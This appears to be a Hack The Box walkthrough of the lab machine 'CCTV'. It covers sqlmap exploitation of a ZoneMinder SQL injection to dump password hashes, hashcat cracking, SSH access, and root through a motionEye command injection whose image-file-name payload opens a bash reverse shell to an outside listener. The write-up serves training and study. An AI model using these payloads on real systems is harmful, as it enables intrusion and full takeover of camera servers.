Skip to main content
HTB: CCTV
  1. Posts/

HTB: CCTV

Table of Contents

Summary
#

CCTV starts with a ZoneMinder web app vulnerable to CVE-2024-51482, a blind SQL injection used via sqlmap to dump credential hashes from the Users table. Cracking one hash with hashcat gives SSH access as mark. Local enumeration reveals a motionEye instance bound to localhost, whose admin password is recovered from a config file. After forwarding the port, CVE-2025-60787, a command injection in Motion’s config fields, is exploited by bypassing client-side validation and injecting a reverse shell payload, which executes as root when Motion restarts, yielding full root access.

nmap
#

nmap finds two open TCP ports, SSH (22) and HTTP (80):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.4.212
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDZ15GCLPzC4gTM0nqzpUbr/2L77bM1C9sbBecivQPX/KcKvJrP88peCJXwTug7T/EORHr7M7JeHtMQJ6hYihFA=
|   256 e3:9b:38:08:9a:d7:e9:d1:94:11:ff:50:80:bc:f2:59 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKitA8JIvpUZg84xCOEAX17k1W9xZDviZdnUrcoPRreb
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.58
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add cctv.htb to /etc/hosts

Web - TCP 80
#

The website has some information about the project, but not much more:

Web1

On the top there is a link to Staff Login leading to cctv.htb/zm/

Web1

I try sample login to capture the request with admin:admin expecting nothing… and it worked:

Web1

Shell as mark
#

SQLi
#

Googling for zoneminder v1.37.63 cve returns references to CVE-2024-51482:

{{ alert }} ZoneMinder is a free, open source closed-circuit television software application. ZoneMinder v1.37.* <= 1.37.64 is vulnerable to boolean-based SQL Injection in function of web/ajax/event.php. This is fixed in 1.37.65. {{ /alert }}

There is PoC in THIS advisory.

I tested it with sqlmap, added cookie parameter since the site is behind login:

└─$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=ubqvuqbhcbdgoj4pqara90j3ql"

[*] starting @ 03:30:33 /2026-03-10/

<SNIP>

sqlmap identified the following injection point(s) with a total of 106 HTTP(s) requests:
---
Parameter: tid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 1951 FROM (SELECT(SLEEP(5)))yoov)
---

[03:32:34] [INFO] the back-end DBMS is MySQL
[03:32:34] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12

<SNIP>

[*] ending @ 03:32:35 /2026-03-10/

With the vulnerability confirmed I can check what is inside:

First, get database names:

└─$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=ubqvuqbhcbdgoj4pqara90j3ql" --dbs

<SNIP>
---
Parameter: tid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 1951 FROM (SELECT(SLEEP(5)))yoov)
---
<SNIP>
[03:38:58] [INFO] retrieved: information_schema
[03:40:06] [INFO] retrieved: performance_schema
[03:41:12] [INFO] retrieved: zm
available databases [3]:
[*] information_schema
[*] performance_schema
[*] zm

The relevant database is zm, get the tables:

└─$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=ubqvuqbhcbdgoj4pqara90j3ql" -D zm --tables

<SNIP>

Database: zm
[43 tables]
+----------------------+
| Config               |
| ControlPresets       |
| Controls             |
| Devices              |
| Event_Data           |
| Event_Summaries      |
| Events_Archived      |
| Events_Day           |
| Events_Hour          |
| Events_Month         |
| Events_Tags          |
| Events_Week          |
| Filters              |
| Frames               |
| Groups_Monitors      |
| Groups_Permissions   |
| Manufacturers        |
| Maps                 |
| Models               |
| MonitorPresets       |
| Monitor_Status       |
| Monitors             |
| Monitors_Permissions |
| MontageLayouts       |
| Object_Types         |
| Reports              |
| Server_Stats         |
| Servers              |
| Sessions             |
| Snapshots            |
| Snapshots_Events     |
| States               |
| Stats                |
| Tags                 |
| TriggersX10          |
| User_Preferences     |
| Users                |
| ZonePresets          |
| Zones                |
| Events               |
| Groups               |
| Logs                 |
| Storage              |
+----------------------+

[*] ending @ 04:14:17 /2026-03-10/

From all this the Users table seems like the most important:

└─$ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" -D zm -T Users -C Username,Password --dump --batch --cookie="ZMSESSID=j3se70e3m5qlho2hpspg9646tu"

<SNIP>
Database: zm
Table: Users
[3 entries]
+------------+--------------------------------------------------------------+
| Username   | Password                                                     |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark       | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin      | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+

DB
#

With password hashes extracted I can attempt to crack them:

└─$ hashcat -m 3200 password.hash ~/Tools/rockyou.txt 

<SNIP>

$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame

<SNIP>

After a while it finished leaving me with credentials for mark:opensesame I can use to SSH in:

└─$ ssh mark@10.129.2.87
mark@cctv:~$ ls
mark@cctv:~$ ls /home
mark  sa_mark

User flag was not there, must be in sa_mark.

Mark can not run sudo:

mark@cctv:~$ sudo -l
[sudo] password for mark: 
Sorry, user mark may not run sudo on cctv.

With this path closed move to service enumeration:

mark@cctv:~$ ss -tuln
Netid       State        Recv-Q        Send-Q               Local Address:Port   
udp         UNCONN       0             0                       127.0.0.54:53     
udp         UNCONN       0             0                    127.0.0.53%lo:53     
udp         UNCONN       0             0                          0.0.0.0:68     
tcp         LISTEN       0             4096                     127.0.0.1:7999   
tcp         LISTEN       0             4096                     127.0.0.1:1935   
tcp         LISTEN       0             4096                    127.0.0.54:53     
tcp         LISTEN       0             4096                 127.0.0.53%lo:53     
tcp         LISTEN       0             151                      127.0.0.1:3306   
tcp         LISTEN       0             4096                     127.0.0.1:9081   
tcp         LISTEN       0             128                      127.0.0.1:8765   
tcp         LISTEN       0             4096                     127.0.0.1:8888   
tcp         LISTEN       0             70                       127.0.0.1:33060  
tcp         LISTEN       0             4096                     127.0.0.1:8554   
tcp         LISTEN       0             4096                       0.0.0.0:22     
tcp         LISTEN       0             511                              *:80     
tcp         LISTEN       0             4096                          [::]:22     

There are couple, the port 8765 ended up being the prize, it is running motionEye/0.43.1b4:

mark@cctv:~$ curl -v http://127.0.0.1:8765
*   Trying 127.0.0.1:8765...
* Connected to 127.0.0.1 (127.0.0.1) port 8765
<SNIP>
< Server: motionEye/0.43.1b4
<SNIP>

Looking into this service I end up here:

mark@cctv:~$ cat /etc/systemd/system/motioneye.service 
[Unit]
Description=motionEye Server
After=network.target local-fs.target remote-fs.target

[Service]
User=root
RuntimeDirectory=motioneye
LogsDirectory=motioneye
StateDirectory=motioneye
ExecStart=/usr/local/bin/meyectl startserver -c /etc/motioneye/motioneye.conf
Restart=on-abort

[Install]
WantedBy=multi-user.target

With a reference to a config file in this folder:

mark@cctv:~$ ls /etc/motioneye/
camera-1.conf  motion.conf  motioneye.conf

One of which contained an admin password:

mark@cctv:~$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password 

setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2

camera camera-1.conf

Root
#

Port Forwarding
#

The motionEye web UI is only accessible locally. I forwarded the port to expose it on my machine:

└─$ ssh -L 8765:127.0.0.1:8765 mark@10.129.2.87

Browsing to http://127.0.0.1:8765 got me the motionEye login page.

Web4

Login with the recovered admin hash.

Web5

CVE-2025-60787
#

{{ alert }} MotionEye v0.43.1b4 and before is vulnerable to OS Command Injection in configuration parameters such as image_file_name. Unsanitized user input is written to Motion configuration files, allowing remote authenticated attackers with admin access to achieve code execution when Motion is restarted. {{ /alert }}

CVE-2025-60787 is a command injection vulnerability. User-supplied values in configuration fields are written directly into Motion’s config file without sanitization. When Motion restarts, it interprets these values as shell-expandable strings executing any injected commands as the user running the process.

Step 1 — Bypass client-side validation

motionEye implements input validation purely on the client side via JavaScript. The validation function can be overridden directly from the browser console:

  • Open browser console (F12 → Console tab)
  • Override the function to always return true:
configUiValid = function() { return true; };

This bypasses all frontend input restrictions, allowing arbitrary values to be saved into the Motion configuration file.

Step 2 — Inject reverse shell payload

Navigate to Camera Settings → Still Images and configure:

  • Capture Mode: Interval Snapshots
  • Interval: 10
  • Image File Name:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/10.10.14.176/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

Click Apply. Within 10 seconds, Motion reloads the config and executes the payload.

Root

Result
#

A root shell is received on the listener:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.176] from (UNKNOWN) [10.129.2.87] 42732
bash: cannot set terminal process group (3646): Inappropriate ioctl for device
bash: no job control in this shell
root@cctv:/etc/motioneye# id
id
uid=0(root) gid=0(root) groups=0(root)
root@cctv:/etc/motioneye# cat /root/root.txt
cat /root/root.txt
ad4e88ac812af8cbb441a783e1d9e899
root@cctv:/etc/motioneye# ls /home/sa_mark
ls /home/sa_mark
SecureVision Staff Announcement.pdf
user.txt
root@cctv:/etc/motioneye# cat /home/sa_mark/user.txt
cat /home/sa_mark/user.txt
45a6694289b9ab6a69ee9475bb1c7b1d
root@cctv:/etc/motioneye# 
Author
~